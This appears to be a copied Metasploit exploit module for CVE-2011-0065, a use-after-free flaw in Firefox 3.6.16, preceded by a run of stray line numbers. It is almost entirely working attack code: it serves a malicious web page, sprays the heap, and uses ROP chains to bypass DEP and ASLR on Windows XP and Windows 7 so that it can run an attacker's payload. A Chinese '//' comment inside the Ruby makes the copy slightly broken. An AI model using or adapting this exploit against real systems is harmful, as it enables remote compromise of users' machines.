    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##

    require 'msf/core'

    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    #include Msf::Exploit::Remote::BrowserAutopwn
    #autopwn_info({
    # :ua_name => HttpClients::FF,
    # :ua_minver => "3.6.16",
    # :ua_maxver => "3.6.16",
    # :os_name => OperatingSystems::Match::WINDOWS,
    # :javascript => true,
    # :rank => NormalRanking,
    #})

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability',
    'Description' => %q{
    This module exploits an use after free vulnerability in Mozilla
    Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
    OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
    becomes a dangling pointer and can be reused when setting the OBJECTs
    data attribute. (Discovered by regenrecht). This module uses heapspray
    with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,
    a windows 7 target was provided using JAVA 6 and below to avoid aslr.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'regenrecht', # discovery
    'Rh0', # metasploit module
    'mr_me <steventhomasseeley[at]gmail.com>' # win7 target
    ],
    'References' =>
    [
    ['CVE', '2011-0065'],
    ['OSVDB', '72085'],
    ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
    ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
    ],
    'DefaultOptions' =>
    {
    'EXITFUNC' => 'process',
    'InitialAutoRunScript' => 'migrate -f',
    },
    'Payload' =>
    {
    'Space' => 1024,
    },
    'Platform' => 'win',
    'Targets' =>
    [

    [ 'Automatic', { } ],

    # DEP bypass
    [
    'Firefox 3.6.16 on Windows XP SP3',
    {
    'Arch' => ARCH_X86,
    'Fakevtable' => 0x0c00, //站位虚函数表地址
    'Fakefunc' => 0x0c00001c,
    }
    ],

    # requires JAVA <= JAVA 6 update 26
    # cop stack pivot = ASLR/DEP bypass
    [
    'Firefox 3.6.16 on Windows 7 + Java',
    {
    'Arch' => ARCH_X86,
    'Fakevtable' => 0x1000,
    'Fakefunc' => 0x100002a4,
    'Ppppr' => 0x7c3410c0,
    'Retn' => 0x7c3410c4,
    }
    ]
    ],
    'DefaultTarget' => 0,
    'DisclosureDate' => 'May 10 2011'
    ))
    end

    def junk
    return rand_text_alpha(4).unpack("L")[0].to_i
    end

    def on_request_uri(cli, request)

    # Random JavaScript variable names
    js_element_name = rand_text_alpha(rand(10) + 5)
    js_obj_addr_name = rand_text_alpha(rand(10) + 5)
    js_sc_name = rand_text_alpha(rand(10) + 5)
    js_ret_addr_name = rand_text_alpha(rand(10) + 5)
    js_chunk_name = rand_text_alpha(rand(10) + 5)
    js_final_chunk_name = rand_text_alpha(rand(10) + 5)
    js_block_name = rand_text_alpha(rand(10) + 5)
    js_array_name = rand_text_alpha(rand(10) + 5)
    js_retns = rand_text_alpha(rand(10) + 5)
    js_applet_name = rand_text_alpha(rand(10) + 5)
    js_ppppr = rand_text_alpha(rand(10) + 5)
    js_filler = rand_text_alpha(rand(10) + 5)

    agent = request.headers['User-Agent']

    # Set target manually or automatically
    my_target = target
    if my_target.name == 'Automatic'
    if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
    my_target = targets[1]
    elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
    my_target = targets[2]
    end
    end

    # check for non vulnerable targets
    if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
    print_error("Target not supported: #{agent}")
    send_not_found(cli)
    return
    end

    # Re-generate the payload
    return if ((p = regenerate_payload(cli).encoded) == nil)

    if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/

    html_trigger = ""
    if ("/" == get_resource[-1,1])
    html_trigger = get_resource[0, get_resource.length - 1]
    else
    html_trigger = get_resource
    end

    custom_js = <<-JS
    function forward() {
    window.location = window.location + "#{html_trigger}.html";
    }

    function start() {
    setTimeout("forward()", 3500);
    }
    start();
    JS

    else
    if my_target.name =~ /Windows XP/

    # DEP bypass using xul.dll
    rop_gadgets = [
    0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retn 0x8 [xul.dll]
    junk, # junk --------------------------------------------------------------^^
    0x7c801ad4, # VirtualProtect
    junk, # junk -------------------------------------------------------------------------^^
    junk, # junk -------------------------------------------------------------------------^^
    0x1003876B, # jmp esp
    0x0c000040, # start address
    0x00000400, # size 1024
    0x00000040, # Page EXECUTE_READ_WRITE
    0x0c0c0c00, # old protection
    ].pack("V*")

    rop = rop_gadgets

    elsif my_target.name =~ /Windows 7/ and request.uri =~ /\.html/

    # 5 gadgets to pivot using call oriented programming (cop)
    # these instructions are taken from: java.dll, zip.dll and MSVCR71.dll (non aslr)
    # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
    # 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
    # 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
    # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
    # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN

    rop_pivot = [
    0x6D32280C, # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
    junk, # filler
    0x6D7E627D, # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
    0x7C3413A4, # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
    ].pack("V*")

    # 319

    # rop nops - RETN
    rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65)

    # POP r32 / RETN
    rop_pivot << [0x7c3410c3].pack("V*")

    # 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
    rop_pivot << [0x6D7E5CDA].pack("V*")

    # rop nops - RETN
    rop_pivot << [0x7c3410c4].pack("V*") * 0xda # (0x75+0x65)

    # POP r32 / RETN
    rop_pivot << [0x7c3410c3].pack("V*")

    # 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
    rop_pivot << [0x6D325BFC].pack("V*")

    # https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ <MSVCR71.dll>
    rop_gadgets = [
    0x7c346c0a, # POP EAX / RETN
    0x7c37a140, # Make EAX readable
    0x7c37591f, # PUSH ESP / ... / POP ECX / POP EBP / RETN
    junk, # EBP (filler)
    0x7c346c0a, # POP EAX / RETN
    0x7c37a140, # *&VirtualProtect()
    0x7c3530ea, # MOV EAX,[EAX] / RETN
    0x7c346c0b, # Slide, so next gadget would write to correct stack location
    0x7c376069, # MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
    junk, # EDI (filler)
    junk, # will be patched at runtime (VP), then picked up into ESI
    junk, # EBX (filler)
    0x7c376402, # POP EBP / RETN
    0x7c345c30, # ptr to 'push esp / ret'
    0x7c346c0a, # POP EAX / RETN
    0xfffffdff, # size 0x00000201 -> ebx
    0x7c351e05, # NEG EAX / RETN
    0x7c354901, # POP EBX / RETN
    0xffffffff, # pop value into ebx
    0x7c345255, # INC EBX / FPATAN / RETN
    0x7c352174, # ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
    0x7c34d201, # POP ECX / RETN
    0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
    0x7c34b8d7, # POP EDI / RETN
    0x7c34b8d8, # ROP NOP (-> edi)
    0x7c344f87, # POP EDX / RETN
    0xffffffc0, # value to negate, target value : 0x00000040, target: edx
    0x7c351eb1, # NEG EDX / RETN
    0x7c346c0a, # POP EAX / RETN
    0x90909090, # NOPS (-> eax)
    0x7c378c81, # PUSHAD / ADD AL,0EF / RETN
    0x90909090, # NOPS (-> eax)
    ].pack("V*")

    rop = rop_pivot + rop_gadgets

    end

    payload_buf = ''
    payload_buf << rop
    payload_buf << p
    escaped_payload = Rex::Text.to_unescape(payload_buf)

    # setup the fake memory references
    fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
    fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))

    if my_target.name =~ /Windows XP/

    # fast loading JS so we dont get the 'unresponsive script' warning from ff
    custom_js = <<-JS
    #{js_element_name} = document.getElementById("d");
    #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

    #{js_obj_addr_name} = unescape("\x00#{fakevtable}");
    var #{js_sc_name} = unescape("#{escaped_payload}");

    var #{js_ret_addr_name} = unescape("#{fakefunc}");
    while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
    var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
    #{js_chunk_name} += #{js_sc_name};
    #{js_chunk_name} += #{js_ret_addr_name};
    var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
    while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
    var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
    #{js_array_name} = new Array()
    for (n=0;n<0x80;n++){
    #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
    }
    JS
    elsif my_target.name =~ /Windows 7/

    # setup precision heap spray
    ppppr = Rex::Text.to_unescape([my_target['Ppppr']].pack('V*'))
    retns = Rex::Text.to_unescape([my_target['Retn']].pack('V*'))

    # fast loading JS so we dont get the 'unresponsive script' warning from ff
    # precision heap spray
    custom_js = <<-JS
    #{js_element_name} = document.getElementById("d");
    #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

    #{js_obj_addr_name} = unescape("\x00#{fakevtable}");
    var #{js_sc_name} = unescape("#{escaped_payload}");

    var #{js_ret_addr_name} = unescape("#{fakefunc}");
    var #{js_retns} = unescape("#{retns}");

    #{js_ret_addr_name} += #{js_retns};
    #{js_ret_addr_name} += #{js_retns};
    #{js_ret_addr_name} += #{js_retns};
    #{js_ret_addr_name} += #{js_retns};

    var #{js_ppppr} = unescape("#{ppppr}");
    #{js_ret_addr_name} += #{js_ppppr};

    var #{js_filler} = unescape("%u4344%u4142");
    while(#{js_filler}.length < 0x201) {#{js_filler} += #{js_filler};}

    while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}

    var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);

    #{js_chunk_name} += #{js_sc_name};
    #{js_chunk_name} += #{js_filler};
    #{js_chunk_name} += #{js_ret_addr_name};

    var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
    while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
    var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
    #{js_array_name} = new Array()
    for (n=0;n<0x80;n++){
    #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
    }
    JS
    end
    end

    html = <<-HTML
    <html>
    <body>
    <object id="d"><object>
    <applet code="#{js_applet_name}.class" width=0 height=0></applet>
    <script type="text/javascript">
    #{custom_js}
    </script>
    </body>
    </html>
    HTML

    #Remove the extra tabs
    html = html.gsub(/^ {4}/, '')
    print_status("Sending HTML...")
    print_status(html)
    send_response_html(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
    end

    end